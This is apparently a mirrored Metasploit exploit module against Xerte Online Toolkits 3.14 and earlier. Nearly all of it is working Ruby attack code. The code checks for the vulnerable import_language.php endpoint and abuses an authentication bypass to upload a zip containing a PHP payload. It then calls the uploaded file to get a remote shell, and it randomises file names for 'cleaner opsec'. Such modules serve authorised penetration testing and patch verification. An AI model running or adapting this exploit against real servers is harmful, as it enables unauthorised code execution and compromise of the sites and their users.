Share
## https://sploitus.com/exploit?id=PACKETSTORM:215577
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Import Language',
            'Description' => %q{
              This module exploits an authentication bypass allowing arbitrary
              file upload in versions 3.14 and earlier to upload and execute a shell.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Brandon Lester',
            ],
            'References' => [
              ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
              ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
          ]
        )
      end
    
      def check
        print_status('Performing check')
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
        })
        if res&.code == 200
          if res.body.include?('No valid language definition found in the file!')
            return Exploit::CheckCode::Vulnerable
          else
            return Exploit::CheckCode::Safe
          end
        end
        return Exploit::CheckCode::Safe
      end
    
      def http_send_command(_cmd)
        print_status("Calling shell at #{target_uri.path}/#{shell_location}/#{php_filename}")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, "/#{shell_location}/#{php_filename}")
        })
        res
      end
    
      def upload_payload_zip
        zip = Rex::Zip::Archive.new
        # add the payload to the zip archive, under a pre-defined location.
        # this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts.
        # This has the added benefit of not needing to worry about the .htaccess restrictions.
        zip.add_file("#{shell_location}/#{php_filename}", payload.encoded)
    
        # add the zip archive to the post request
        mime = Rex::MIME::Message.new
        mime.add_part(zip.pack, 'application/zip', 'binary',
                      %(form-data; name="filenameuploaded"; filename="#{zip_filename}"))
    
        register_dirs_for_cleanup("../#{shell_location}")
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php'),
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => mime.to_s
        )
      end
    
      def exploit
        upload_payload_zip
        print_status('Uploaded the zip')
        http_send_command(payload.encoded)
      end
    
      def php_filename
        @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
      end
    
      def shell_location
        @shell_location ||= Rex::Text.rand_text_alpha(8) + 'languages'
      end
    
      def zip_filename
        @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'languages.zip'
      end
    
    end